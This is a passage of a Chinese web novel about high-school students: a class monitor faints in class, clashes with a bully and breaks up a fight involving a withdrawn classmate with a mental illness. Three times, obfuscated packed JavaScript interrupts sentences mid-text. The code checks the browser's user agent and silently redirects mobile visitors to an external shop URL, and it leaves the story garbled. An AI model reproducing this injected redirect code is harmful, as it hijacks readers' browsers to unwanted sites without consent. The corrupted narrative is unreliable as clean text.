新同学带来的骚动很快就在班主任的现身下消弭于无形。 班主任杨俭的确是二郎神来的,身为年年出成绩的优秀班主任,靠的就是一视同仁的严厉,没有什么小动作能躲过她的“第三只眼”。 许谈宋在最后一道铃声响完堪堪冲到教室门口,白板上的北京时间显示七点五十分零十秒。 她猫着腰想从后门神不知鬼不觉地溜进去,便被杨俭喝住。 “开学第一天就迟到,不能提前几分钟吗?我昨天怎么跟你们说的?”许谈宋无力地听着班主任拿自己杀鸡儆猴。 “第一次迟到我先提醒,以后要是再有人迟到,早自习就在后面站着,当天罚做清洁,别不把迟到当回事,高中生要有时间观念!” 黎迟夏听得生无可恋,这班主任比他妈还能说,这都不止二郎神了,得是唐僧。 “多大点事儿啊,”郑新言小声嘀咕,“讲十分钟了都。” 黎迟夏没吭声,他已经快把一整面的英语单词抄完了。 要是二郎神继续发威,他估计自己能再抄几面。唯一美中不足的是他越看越困,英文的催眠效果可比中文厉害多了。 于是在杨俭走过来的那一刻,没来得及抬头的黎迟夏光荣地倒在桌子上昏睡了。 “黎迟夏!” 离得最近的郑新言先被吓得一激灵,手上笔差点甩地上。 那声音高得黎迟夏以为自己犯法了,马上就要被抓进去了。 “困就站起来,早读不是让你睡觉的地方。” 这不还没读嘛,光听您叨叨呢。黎迟夏腹诽道,迷迷瞪瞪起身就往教室后面走。他初中那会儿和班主任不对付,经常罚站,黎迟夏个子高,为了不挡到后桌的,就在教室后面站,久而久之竟然成了条件反射。 但这是高一三班。 杨俭皱眉,“你去干嘛。” “啊,”黎迟夏这才后知后觉地收回脚,诚恳地解释,“老师,我站着会挡到其他同学。” “那也是,”杨俭语调缓和了,“班长就要为同学们着想。” 同为罚站的许谈宋同情地抬眼看了看黎迟夏。他正困倦地耷拉着眼皮,眼前是纪远声端正的背影。 背影模糊了。 “哗啦——” 英语书掉在地上,坐得最近的纪远声第一个回头,只看到突然瘫软的身影。 在失去意识的前一秒,黎迟夏看到他一贯沉静的眼里闪过惊惶。 不是吧,这就被吓到了? …… 其实也不是什么疑难杂症,低血糖而已,伤害性不大,但绝对丢人。 黎迟夏在医务室转醒的时候,看到三个“小弟”都围在自己身边,很像儿子围观临死前的老父亲。 “……” 神经病啊,他是晕了,不是死了好不好。 黎迟夏刚张口要说话,立即被面包堵住了嘴。 “……” “咳咳,”黎迟夏差点被噎着,缓了半天才骂道,“郑新言你造反啊!” “哥,你吓死我了!” 见郑新言还要扑过来嚎丧,黎迟夏直接原地起飞,跳到离他一米多的安全地带。 “有话好好说,别动手动脚!” 郑新言被嫌弃了一遭才恢复正常,咧嘴道,“夏哥,你这下有了个新外号。” “?” “西施少爷哈哈哈哈哈哈!” “?” 黎迟夏又被噎了一下,面无表情地“呵”了一声。 “这他妈哪个傻逼取的?” “没事没事,”荀北憋着笑安慰他,“西施嘛,夸你漂亮呢。” 漂亮个屁,我又不是女生。 黎迟夏完全没有被安慰到,郁闷地选择转移话题,“你们怎么都在?不上课吗?” “大哥,刚下课呢,你醒的也真及时。” “估计下回二郎神都不敢让你站着了,哎,羡慕。” “放屁,她没骂我不吃早饭就谢天谢地了。” 黎迟夏翻了个白眼,扭头望向一直沉默不语的纪远声,更郁闷了,这一晕丢人可丢大了,之前那点儿上风算是白占了,哪有在小弟面前丢脸的道理? 更何况……黎迟夏倒下的时候虽然无意识,也猜到是纪远声眼疾手快地扶住自己,没和地板来个亲密接触。毕竟他之前不幸倒地,醒来身上总要多一两块淤青。 罢了,只要自己不尴尬,尴尬就是别人 他冲纪远声歪了歪脑袋,“你扶得吧,没被吓到吧,小弟?” 上挑的尾音像个无心设下的钩子。 纪远声眼神游离了片刻,黎迟夏笑起来有点吊儿郎当的痞气,偏又顶着一张小正太的脸,实在是…… 实在是什么呢?他自己也说不上来,只觉得“西施少爷”居然意外地贴切。 这想法应该不太正常。他恍惚了一瞬间,但也仅仅是一瞬间。 “你晕那一下挺吓人的。”纪远声诚实地描述道,不出所料看到他脸上的笑容僵了一下。 “这有啥啊,”郑新言说着想勾黎迟夏的肩,被躲了过去,“他小学那会儿倒地都是浑身抽搐的,醒了照旧活蹦乱跳。” 纪远声听着不吭气了。 黎迟夏以为他是真被吓到了,哼了一声,“郑新言骗你的,他是脑子有点毛病。” 黎迟夏见他依旧眉心微紧,神色居然近乎于肃穆,有些莫名其妙,迷惑间还想说点什么。恰巧上课铃响起,四人默契地拔腿就往教室跑。 到教室还没坐下就有人往黎迟夏这儿瞟,开学第一天就晕倒还是挺罕见的。 黎迟夏刚递到嘴边的饼干又放下藏到抽屉里,班长上课吃零食总归不太好。他在心里叹了口气,好不容易等到老师的视野盲区,还要被同学注视。 真是时运不济。 连熬了两个夜,还不知道今天晚上能不能补回来。 他可不想明天因为又饿又困再昏一次。 “哇哦,你第一次在语文课醒着!”郑新言一脸新奇地低声感叹。 废话,这不刚从病床上睡醒吗。 黎迟夏懒得理会,撑着脸抄笔记,醒是醒着,却已经神游天外了。他在想中午要不要点外卖,毕竟还要把早上那一顿补起来。 黎迟夏一向吃得很讲究,小学就吃不惯学校的饭菜,结果饿出了低血糖。黎父黎母工作本来就忙,也没辙。好在小学初中离家里近,便只能麻烦阿姨中午就把他接回家吃饭。 到了高中显然没这条件了,租的学区房逼仄又没电梯,小少爷不乐意住。谁知道父母一合计,都十五六岁了,干脆把他扔学校里自生自灭。 他都已经开始考虑点什么外卖了,忽然被一个声音拉了回来。 “……恰同学少年,风华正茂。书生意气,挥斥方遒。” 纪远声被点起来朗读课文。 该说不说,纪远声音色是真好听,音如其人,都是不可多得的艺术品,而且和本人冷淡伶仃的气质不同,他的声音是顿挫有力的,轻易就能挑动听者的情绪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344690|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 傅林兰自然也夸赞了一番,而且她比黎迟夏知道的更多一点。 尽管只是一年半的语文老师,她对这个学生印象很深,家庭情况很复杂,性格可以说是孤僻。 纪远声有精神类疾病,傅林兰听说过一星半点,但她更看重他独特的文学天赋,对他有种伯乐对千里马的欣赏。 她甚至记得这个学生曾经申请过艺术生,最后却不了了之了。 但毫无疑问,纪远声也是学校最怕的学生,心理疾病就像一颗隐藏的地雷,谁知道什么时候一脚下去就炸得人仰马翻。 “夏哥,你说他真的有精神病吗?”郑新言回头看了一眼,凑近问道。 “不知道,跟我有什么关系?” 黎迟夏握着笔有一下没一下地点着纸面,说不好奇是假的,但他看不上林子轩私下议论打听的行为,也做不出当面揭人家伤疤的蠢事。 他忽然想起一句话,“疯子在右”的文章里的一句话——不如让谜成为谜。 只不过有点可惜。 黎迟夏跳脱地想到,他这声音,去唱歌应该会很受欢迎。 “咦,今天什么日子啊,偏科战神居然开始记笔记了?” 郑新言瞥到他书上飘逸的字迹,颇为惊叹。黎迟夏天生懒得出奇,尤其是写字的时候,笔记精炼得只有本人能翻译,无论什么字都能一两笔解决,不知道的还以为他在签名。 “太无聊了,找点事做。”黎迟夏叹了口气。这是真话,迟女士看到他这状态,估计又能唠叨半天了。 上课要认真听讲,不要开小差云云,他妈天天把教育小学生的话挂在嘴边,耳朵都快起茧子了。 讲台上傅林兰抛出一个问题,“折腰这个词,通常怎么用?” 黎迟夏回过神来,但不明白她的用意。 “……陶渊明不为五斗米折腰,是不肯弯腰。可词里的英雄们,为什么要折腰?因为江山太美了。这美,让人心甘情愿地低下去,又让人不由自主地站起来。” 黎迟夏发觉自己竟然一字不漏地听进去了,不由有些感慨,尽管他仍然不能完全领悟这些话的意思。 文字里的矛盾是隐晦而含蓄的,黎迟夏习惯了理科世界的非黑即白、对错分明,对文学、哲学等一干艺术便抱了敬而远之的态度。 他隐隐觉得,傅林兰与他遇到过的语文老师是不一样的,她将某些深邃且难以言传的东西娓娓道来,而不再是万金油式的套路和无聊的说教。 还没等黎迟夏仔细琢磨,便见识了更不无聊的。 “黎迟夏,你能不能举一种‘美’,它带给你类似的体会?” “呃,”黎迟夏愣了一下,站起来活像个锯嘴葫芦。 想都不用想他这是沾上了“迟女士”的光,开学第一天老师尚且不熟悉学生,一节课就点到了纪运声和黎迟夏,前者好歹是刚刚复学的特殊情况,他却全仰仗亲妈凑巧的人脉。 他很好奇亲妈有没有透露自己的语文水平。这么深奥的问题,他可是连题干都没听懂。 黎迟夏极少有提问答不上来的时候,即便不懂也要胡诌两句,于是本着不会就靠直觉的原则,在傅林兰期待的目光下脱口而出。 “纪远声。” 全班寂静了一秒,接着就爆发出哄堂大笑,夹杂着起哄声,连讲台上的傅林兰都忍俊不禁地让他坐下。 话音未落黎迟夏就后悔了, 大型社死现场没跑了,唯一令人安慰的是还有个纪远声也被他拖下了水。 说到纪远声……黎迟夏脸上有点烫,后颈起了汗意,纯粹因为尴尬。他没敢回头看自己的“杰作”。 幸好下课铃及时地解救了他,全班赶杀场似地往体育馆狂奔抢场子 郑新言却没打算放过他,在一旁笑得暧昧,“你刚才认真的吗?” “怎么可能?”黎迟夏当即否认,“玩笑而已!” 才怪。 黎迟夏说谎的时候喜欢半真半假地胡扯,就像现在: “只是想看看他红温的样子。” 郑新言用食指顶着篮球旋转,笑得揶揄,“那就好,我还当你看上他了。” 黎迟夏轻嗤一声,“我看起来像脑子有病吗?” 结果黎小少爷口嗨之后就在门口迎面撞上了一个意外的身影,登时僵在了原地。 8. 你,我罩的 黎迟夏僵立在原地看他进教室戴护腕。 不出意外的话,他应该全听见了吧。 —— 体育馆里回荡着各式各样的嘈杂,有人投了个三分,引发此起彼伏的呐喊。 “听说下个月有篮球比赛。”郑新言抱着篮球跃跃欲试。 “和谁?” “班级之间啊。”郑新言朝坐在场外的荀北招了招手,问黎迟夏,“怎么样,你参加吗?” 黎迟夏斟酌片刻,“看情况吧。”猪队友就算了,他要面子,一般都是奔着前三去的。 况且训练也累。 他也没纠结这事,因为旁边已经吹了集合的口哨。 大概是因为纪远声本来休过学,年纪大一点,站在一众人高马大的男生里也还是显得鹤立鸡群。 手臂上居然能看到肌肉,黎迟夏以为他这样的家庭情况,会是骨瘦如柴的样子。 黎迟夏盯着纪远声突兀的护腕,心道,真装啊,体育课还带个护腕,装得还挺专业。 结果更装的还在后面。 “他怎么这么快就下场了?”郑新言大拇指冲纪远声指了指,小声问道。对方刚随便投了个篮就往最远的台阶一坐,半垂着眼皮,安静地像个假人。 “还戴着护腕呢,”荀北也觉得奇怪,“我以为他有多能打呢。” “不会真是那个吧?”郑新言随口冒出一句,说得含糊,但两人都知道他的意思。郑新言没什么恶意,只是单纯的好奇,但黎迟夏听着就是有点不舒服。 “专心点,还管别人的事呢,”黎迟夏打断他们,“开球了!” 一群人已经混战在一起,黎迟夏和郑新言算是发小,配合得自然更流畅。 郑新言的手腕一抖,球从左手弹到右手,贴着地面飞出去——不是传给人,是传向三分线外左侧那块空地。球在地上砸了一下,弹起来的时候,正好落在黎迟夏跑过来的路线上。 另一队的林子轩眼睁睁看着球从身侧飞出去,朝防守失败的队员骂了一句。 黎迟夏甚至没低头看球。他跑着,球就到了手里,像是本来就该在那里。 “漂亮!” 不知道谁喊了一声。 三角形的阴影里,纪远声抬了下头,目光微顿。 黎迟夏跳起来投篮的一瞬间,衣服下摆掀上去,露出一截腰,白,而且紧实。 没有赘肉,也没有明显的肌肉,比自己细。 等纪远声意识到自己在看什么的时候,篮球意外且精准地迎面飞来。 纪远声抬手挡球,缓冲、回扣。从容,而且毫无多余的动作。 投出那一记歪球的林子轩赔着笑给纪远声在内的一圈人道了歉,那样子很无辜,于是大家都没放在心上。 正巧在场外喝水的黎迟夏眯了眯眼,他刚让荀北上场,自己好歇口气。别人或许看不出来,他可是看得清清楚楚。 刚才歪的那一球,林子轩分明是故意的。 他原本以为班群里的所谓小道消息只是林子轩性格使然,现在想来根本不是,但他不明白,这种敌意究竟从何而来。 无论是从何而来,黎迟夏脸色冷了下来,他起身逼近林子轩,“你是故意的吧。” 一旁的同学霎那就安静了,黎迟夏翻脸的时候从不吝惜自己的锋芒, 林子轩愣了一下,旋即又佯装不在意地挠着头笑道,“怎么可能?都是同学嘛。” 黎迟夏在心底“呵”了一声,正欲再说,却感觉有只手搭在自己肩头。 他下意识就要拍开,转头却顿住了。 纪远声收回手,语气淡淡的,听不出情绪,“我没事,继续打吧。” 黎迟夏皱了皱眉,现在这么揭过了,林子轩肯定还会挑事,但受害者都要息事宁人了,他一个旁观的也没理由再揪着不放。他暗暗瞪了纪远声一眼,总算知道什么叫哀其不幸怒其不争了。 最后只干巴巴地给林子轩甩下一句,“以后小心点。” 下一场郑新言和荀北怂勇黎迟夏打几球,都被婉拒了。黎迟夏不爽地灌下半瓶矿泉水,也不知生的哪门子闷气。 “罪魁祸首”还似无所觉地就近坐在他旁边。 “谢谢。”“罪魁祸首”显得很无辜。 黎迟夏觉得这天杀的大概有什么魔力,他一开口气就消了一半,纪远声道谢的时候目光坦诚,不只是表面的客套。 毕竟是自己的小弟,该训还是要训,不然他这个大哥也跟着没面子。 “你在怕什么啊?”黎迟夏还是不爽,语气很冲,听起来像在赌气,“看不出来他那一下故意的吗?” 纪远声又垂下眼,似乎哑口无言了,但又不是委屈或者示弱的模样,两个人都没再说话。 旁边多出一个人让黎迟夏不太自在,对面的林子轩又让他烦躁。 “他跟你有仇吗?”黎迟夏指的是林子轩。 “可能吧。” 纪远声似乎有意避开这个问题,答得模棱两可。 黎迟夏哼了一声,没再追问,“他再找事就给他点教训,让他不爽就憋着,你——” 他把矿泉水瓶捏的咔咔响,表情很拽,说出来的话更拽,还有点中二。 “我罩的。” 纪远声唇角上翘了一点,心情莫名好了不少,他想起某种毛茸茸的小动物呲牙咧嘴的样子,一个人的长相和性格怎么能有这么大的反差。 黎迟夏早已看穿了他的思虑,“你是怕我冲动惹事吧,怕我动手打他?” 纪远声抿着嘴,他的确是这么想的,就黎迟夏刚才那语气,动手也不是不可能。 “没必要趟这浑水。” “别说浑水,就算是火堆,我照样给你趟过去!”黎迟夏刚才装了一把逼,也算出了不少郁气。 要问他为什么多管闲事,其实也不过是某种近乎于荒谬的英雄主义作祟。凭纪远声的家庭背景,他自然把对方归到了弱势群体的范畴。 少年时代的英雄主义冒了头,便一发不可收拾。 郑新言的消息无误,体育老师让黎迟夏在班上组一个篮球队,下周就要开始训练。3班男生占比过了一半,真正能扛事的却不多。打球的时候蜂拥而上,一说要上场都谦让起来。 “试试呗,”黎迟夏对纪远声说,“你挡球那一下挺帅。” “不过比我差点。”黎迟夏笑得吊儿郎当,带有少年人的明媚和张扬。 “下次吧。”纪远声没直接拒绝,但黎迟夏听得出他的“下次”肯定遥遥无期,不由有些可惜。 纪远声个子高,虽然不算强壮,也不是骨瘦如柴的类型。于公于私,黎迟夏都是真心实意想让他参加的。 好在最后人倒是凑齐了,唯一让黎迟夏不爽的是队里有个危险人物,林子轩。 下午时校门口热闹得很,层层叠叠的学生伸长了脖子张望,像一群嗷嗷待哺的鸟。一群“探监”的家属隔着铁门送饭。 纪远声站在斑驳的树影下,心里头乱糟糟的,他根本不想见那个人,若不是为了那一点聊胜于无的生活费……… “小声,”衣着光鲜的男人叫得很亲切,他想去拉纪远声的手,却被不着痕迹地躲开了。男人看出纪远声的排斥,有些尴尬地解释,“我这段时间太忙了,今天才能抽点时间来看看你。” 纪远声沉默地直视着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344691|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸光冷而犀利,像一柄解剖刀。 纪衍被自己儿子敌视的目光盯着,心里恼怒又无可奈何。 “你最近……”纪衍干巴巴地问,“过得好吗?” 纪远声抿着嘴不想回答。 “念念呢?”纪衍不死心地继续套近乎,“她身体还好吧?你们有什么困难可以找我。” 虚伪。 纪远声有股无名火窜了起来,几乎把理智燃烧殆尽。纪远声攥紧了兜里的药瓶,他知道自己病发了,但还是想毫无顾忌地冲动一回。 反正也是精神病,他自嘲地想。 “你装什么好人?”纪远声轻蔑地冷笑,“自己作的孽又说这些话有什么意义,你怎么不问张钰呢?哦,因为你心虚了,你不敢问!”他胸膛剧烈地起伏,捏紧的拳头咔咔闷响, 张钰是他的母亲,也是纪衍的前任,因为病发被送进了精神病院。 “因为是你害得她精神崩溃。想到她就会让你良心不安,睡不着觉是吧。我很想知道你到底有没有良心这种东西,一离婚就找了下家。我警告你不要去找我妈。”他无视纪衍逐渐难看的脸色,声音从喉咙深处挤出来,劈了叉,带着变声期特有的沙哑,“你和现任应该很恩爱吧,不躲在小三家里,还好意思在这里出现?” 纪衍也撕破脸皮,狠狠地盯着他,目光里既有嫌恶又有忌惮。 纪远声看懂了他的目光,破罐子破摔地朝他吼道,“我就是疯子!和我妈一样!那又怎么样呢,”他近乎疯癫地笑起来,“你依旧要承担抚养费,所有人都知道你和精神病有沾染,你一辈子都洗不掉!” —— 黎迟夏甩了甩断墨的红笔,在草稿纸上划了几道,末端直接勾破了纸。黎迟夏啐了一口,扔进垃圾袋。 “不高兴?”郑新言检查了一圈四下无人,敏锐地问道,“就因为林子轩?” 其实黎迟夏的表情并不明显,只是气场有点冷,但郑新言从小和他一条裤子长大,太了解他,早看出这点儿不对劲。 黎迟夏没作声,郑新言就当他默认了,“什么人没见过?为那种人犯不着啊,只会使点小绊子,翻不起什么浪。” “那些个公子哥,不比他难缠多了?” 他看看黎迟夏,又看看荀北,“我说你们俩怎么回事,一天天地轮着生气。” “?我什么时候……”荀北正要反驳,马上反应过来,有点不高兴,“那是因为我哥突然来……莫名其妙。” 黎迟夏回神问他,“你哥咋了?” “没,”荀北一脸怨气,“就是烦他。”见他不愿多说的样子,两人也不好再问。 郑新言瞄了眼手机,“欸,外卖到了,我去拿一下。” 郑新言买的三人套餐,黎迟夏也不用费神考虑中午吃什么了。 有麻雀在窗台落脚,歪着脑袋看他。黎迟夏刚想伸手逗弄,就飞得没影了。 当然犯不着,黎迟夏豁然间明朗了。他气的压根不是林子轩,也不是纪远声被人针对却一味避让。他只是不快:纪远声仍旧把他当作不相干的人,委婉地拒绝了一切形式的靠近。 “我靠,”郑新言拎着披萨和奶茶进来,一脸的神秘兮兮,“你们知道我看见谁了吗?” 荀北不屑地给他拆台,“得了吧,等你看着哥斯拉再来装。” 黎迟夏吸了口奶茶,沉默表示赞同。 郑新言见没达到预期的节目效果,故作失望地叹了口气,“黎迟夏,你肯定感兴趣,你那个新小弟。” 黎迟夏:“?” “我看到纪远声和另一个男的。” 黎迟夏被呛了一下,却又忍不住听他继续说。 9. 打架 “像是他爸。” 他爸? 纪远声不是说他爸去世了吗? 黎迟夏若有所思地咬着吸管,不觉打了个嗝,等反应过来才发现奶茶已经空了一半。 郑新言还在说:“感觉他们俩在吵架,反正两个人情绪都不好。” 黎迟夏打开了披萨盒,浓郁的香气扑鼻,一看就是刚做好的,可他却有些心不在焉,假装不经意地问了句。 “吵什么?” “谁知道呢?”郑新言耸肩,“我跟我爸也总吵架,烦得很。” 黎迟夏“呵”了一下,郑新言纯属自己找骂,不是上课吃鸡被抓,就是因为迟到旷了一上午的课,每天跟个上蹿下跳的猴儿似的,他爹没被气出心脏病都是心理素质过硬。 而纪远声显然不是这种。 他几乎萌生了去听个墙角的冲动,但下一秒就打消了,这是纪远声的隐私。 忽然荀北给他使了个眼色。 黎迟夏默契地转过头,就看见故事的主人公从后门进来,脸上与平常相比除了多了点血色看不出什么区别。 在他察觉自己的视线之前,黎迟夏迅速又扭回去。 纪远声的确是刚吵完架,压着火气。但其实也算不上吵架,也许是因为对方做了亏心事,心里有鬼,到后面一声不吭,只是他单方面的发火。 郑新言猜的没错,那人的确是纪远声亲爸,只不过现在不是了。 黎迟夏其实很好奇他爸是怎么死而复生的。 纪远声骗他? “呼,好香。”郑新言撕下一块披萨,拉丝半天才扯下来,他满足地喟叹了一声。 “珍惜吧,没几天好日子了。”荀北悲观地给他泼冷水,“咱学校可不让你点外卖,之后就有人要来管了。” “之后的事之后再说,及时行乐最重要嘛。再说,实在不行带泡面吧。” 郑新言在衔接班就吃过市一中的食堂,味道可谓一言难尽。 他说着朝门外扬了扬头,“喏。” 黎迟夏顺着看去,纪远声正端着一桶泡面站在饮水机旁边——超市里一两块钱的那种。 这能吃吗?黎迟夏表示怀疑。 他想起自家资助的贫困生恰巧和自己同班,心里忽然有了些计较,他妈说的贫困生,不会就是纪远声吧 黎迟夏默默想着,手里的披萨似乎也变得索然无味了。上回他纯属好奇心尝了一口廉价泡面,几乎全喂给垃圾桶了,劣质的料不是清水就是齁咸,既不好吃,也不健康。 他拿起披萨盒往外走。 纪远声刚刚一不留神让开水溅到了手,烫得“嘶”了一声,把他的躁郁也点了起来。 “傻逼。”他发泄似地低声骂了一句,“操他妈的。” 黎迟夏脚步一顿,能让高冷模特这么失态,估计也不是寻常的事儿。 “骂谁呢?” 纪远声被突如其来的声音吓了一跳,转头对上黎迟夏似笑非笑的眼睛。 不等他反应,黎迟夏把手里的盒子往他身前一递。 “吃吗?” 纪远声愣了两秒,乱麻般烦躁的心绪被少年带笑的声音打断。 “咋了?这次可是正常食物,没有巧克力!” “谢了。”纪远声随之想起初见时黎迟夏小狐狸似的笑意,忽地心下一轻,仿佛堵在胸口的棉花被谁一口气吹散了。 在黎迟夏转身的瞬间,纪远声鬼使神差地叫住了他,“黎迟夏。” 对方懒洋洋地回头。 纪远声脸色缓和不少,原本的棱角似乎都有了和煦的味道。 他没头没尾地蹦出一句,“不是骂人。” 黎迟夏笑起来,“知道啊,骂呗,骂爽了就行。” —— “你有没有觉得夏哥对纪远声特别地好?”荀北忍不住问道,“他们之前就认识?” “有吗?”郑新言想了想,“之前不认识啊,他就这个性格,跟谁都混得来,你以后就知道了。” “黎迟夏对路边的流浪猫也能这么好,看着吧。” “好吧。”荀北也觉得是自己想多了。 郑新言注意到黎迟夏回来,问道,“打听到了?” “打听什么?”黎迟夏有点莫名其妙。 “我以为你去问吵架那事了。” 黎迟夏默了一下,“我又不是你,吃饱了撑的。” 这和嘲笑别人摔了一跤,再上去补一脚有什么区别?脑残都干不出来这事。 下午的课黎迟夏依旧听得很无聊,可能是刚开学,还在适应期,老师们都格外仁慈,连布置的作业都给人一种神清气爽的感觉。 但世上总有各种各样的意外,黎迟夏的担忧并非空穴来风。 “班长,”有个男生风风火火地跑过来,“有人在打架,你去看看吧!” 黎迟夏头痛地扶额,开学第一天,上个厕所的工夫,“神兽”就能打起来。他觉得自己这个班长当得真不容易,快成大家长了,要顾着好几个寝室,又要关爱弱势群体,现在还得给一群熊孩子拉架。 “要找班主任吗?”来报信的男生问他。 黎迟夏正想说“叫啊!”,突然有种不好的预感,话在嘴边转了一圈,变成了“等等吧,我先去看看。” 进教室的第一眼,黎迟夏脸色微变,他觉得自己可能是个预言家,还没说出的话,都成了现实,而且不是看到纪远声膝盖顶向林子轩腹部的时候,黎迟夏脑子里一阵嗡鸣。 他都来不及想为什么,身体先一步做出了反应。 纪远声被人从后面抱住了腰,正要挥拳挣开,余光却看到一张熟悉的脸,猛地顿住,挥出去的手臂先卸了力,只有扯着林子轩衣领的手还没松开。 他躲开黎迟夏的目光,脸上的凶狠转为一种茫然。 林子轩也被人拽开,手臂上有淤青,黎迟夏看到他分明松了口气,眼里还闪过隐晦的得意。 黎迟夏意识到了一个不太妙的事情,下节是二郎神的课。 “后面干什么呢?预备铃没听到吗?才开学第一天就这么热闹,以后混熟了是不是要上天?” “两个男生搂搂抱抱的像什么样子?我是不是还要加一条班规,同性之间也要保持美丽的距离?”二郎神高亢的声音跟连环炮似地炸下来,黎迟夏被激得触电般松开手,不由气血翻涌。 劝架和凑热闹的都作鸟兽散。 杨俭严厉的目光扫过包围圈里狼狈的两人,林子轩的桌子还孤零零躺着,书和笔散落了一地。 她一眼看出发生了什么事,声音更提高了几度,“干什么都干什么?你们都要造反啊?都是原始人吗,有点事情不能用嘴说吗,人高马大的光会打架啊,啊?” 杨俭把教科书往桌上一摞,黎迟夏心道不好,二郎神要发威了。 “你们两个出来!”她威严地环视一圈,“班长也出来。剩下的同学,也别闲得没事做,自己自习!” 黎迟夏生无可恋地跟在两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344692|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “神兽”后面。 “说吧,怎么回事?” 杨俭打量着两人,纪远声嘴角有点肿,脖子上有抓痕,林子轩也好不到哪里去,手背破了皮。 呵呵,黎迟夏暗自嗤笑,用脚趾头想都知道,又是林子轩这孙子找事,纪远声那种不爱搭理人的闷罐子,也就是被惹急了才动手。 没人说话,纪远声的戾气又重新被一种拒人于千里之外的冷淡覆盖,林子轩仿佛转了性,垂下头装乖。黎迟夏本就对他心存芥蒂,现在更看不惯他畏畏缩缩的虚伪模样。 “不说是吧?”杨俭克制着火气,“不说你们都在这站着,课也不用上了,就在这站着,什么时候说清楚了什么时候回教室!” 黎迟夏扯了扯嘴角:我也要站着吗? 走廊上温度很高,知了起起伏伏叫个不停,黎迟夏心下有点躁,一面是反感林子轩小动作不消停,一面又嫌纪远声胆小怕事,别人都骑到头上了还在忍气吞声。 倒也没有僵持太久。 杨俭换了个问法,“谁先动的手?” “我。” 纪远声答得很平静,既没有义愤填膺的气势,也没有半分认错的愧疚。 “那你解释一下为什么动手吧?”杨俭问他。 纪远声像被强制关机了,立即就不说话了。林子轩这会儿坚称只是一言不合闹了些小矛盾,不着痕迹地把大部分的责任都推给了纪远声。 杨俭倒是一碗水端得平,两人都挂了彩,各自喜提了一份五千字的检讨。但纪远声毕竟是先动的手,又讲不出原因,于是另外被罚在教室后面站到放学。 客观来讲,她的处理算得上合理,但黎迟夏知道纪远声不是无缘无故生事的人。奈何纪远声一句解释也没有,他即便不服,却也没有站得住脚的理由。 总不能说因为他信不过林子轩吧。 何况二郎神也没放过他这个班长。 “黎迟夏,班长要管理班级,团结同学,打架斗殴是非常严重的违纪行为,要及时制止,控制不了的时候要去找老师。现在才是开学第一天……” 二郎神一教育起人来,就有种滔滔不绝的架势,比起他妈有过之而无不及。 黎迟夏听得气闷,也只能点头答应。 解决完了打架斗殴的事情,杨俭把纪远声单独留下来。 黎迟夏进教室前回头看了一眼,纪远声孑然地站在走廊边,没倚着靠着,再看不出任何情绪。 “怎么个事?” 郑新言好奇问他。 “不知道,”黎迟夏心不在焉地答,反问道,“你觉得二郎神能问出什么?” “那也是,”郑新言叹了口气,“话都被她说了,还是去吓小孩比较合适。” 黎迟夏呵了一声,觉得纪远声那样子也不是被吓出来的。 晚上回宿舍了,黎迟夏才发现有本作业落在了班上。住校就这好处,不用担心忘带作业,也是个坏处——又少了个不写作业的理由。 黎迟夏在回班拿作业和早上补作业之间纠结了一番,还是选择从床上爬起来。 他顶着困意在黑暗里摸出自己的作业本,后面突然响起椅子摩擦地面的轻微声响,偏偏外面的蝉没叫,便教他听得格外清楚。 黎迟夏吓一激灵,彻底清醒了。想骂的话都被憋在发紧的喉咙里,从小到大看过的恐怖片在他脑子里飞速过了一遍,心里想的全是—— 刚才为什么不开灯。 大晚上不会真见鬼了吧? 10. 药瓶 黎迟夏硬着头皮回头望,那模糊的身形倒是挺熟悉。他哆嗦着手打开手机的手电筒,索性一闭眼就朝那人形照去。 再睁眼时倒没有什么灵异事件。 的确是熟人。 纪远声抬头挡了一下眼睛,刚睡醒意识尚且昏沉。 他看到还愣在原地举着手机的黎迟夏,有点不明所以。 黎迟夏还没从自己吓自己里缓过来,干巴巴地问道,“你怎么还没回宿舍?” “写检讨睡着了。”纪远声抓了抓睡得散乱的头发,显出点罕见的慵懒,“怎么了?” “东西落教室了。” “写完了吗?”黎迟夏见他没有回去的意思,问道。 “没有。”纪远声借着窗边透来的光亮继续写检讨,暗沉的光线里眉目有点阴郁。 黎迟夏皱了皱眉,“为什么不开灯?”他正要去按开关,却被纪远声阻止了。 “这样挺好的。” “你是猫还是猫头鹰?”黎迟夏有些无语,“回宿舍写呗。” “赶紧的,我清查人数呢,”黎迟夏催道,“到时候查寝被发现了,又多一篇检讨,我可不帮你兜着。” 他本以为纪远声这犟脾气还要纠缠一阵,却没想到他没再坚持。 “对不起。” “什么?”黎迟夏以为他是说晚归的事。 “打架是因为……”纪远声声音有点低,都听不出辩解的意思,他说到一半忽然噤声了,像是有所顾忌。 “因为什么?”黎迟夏追问。 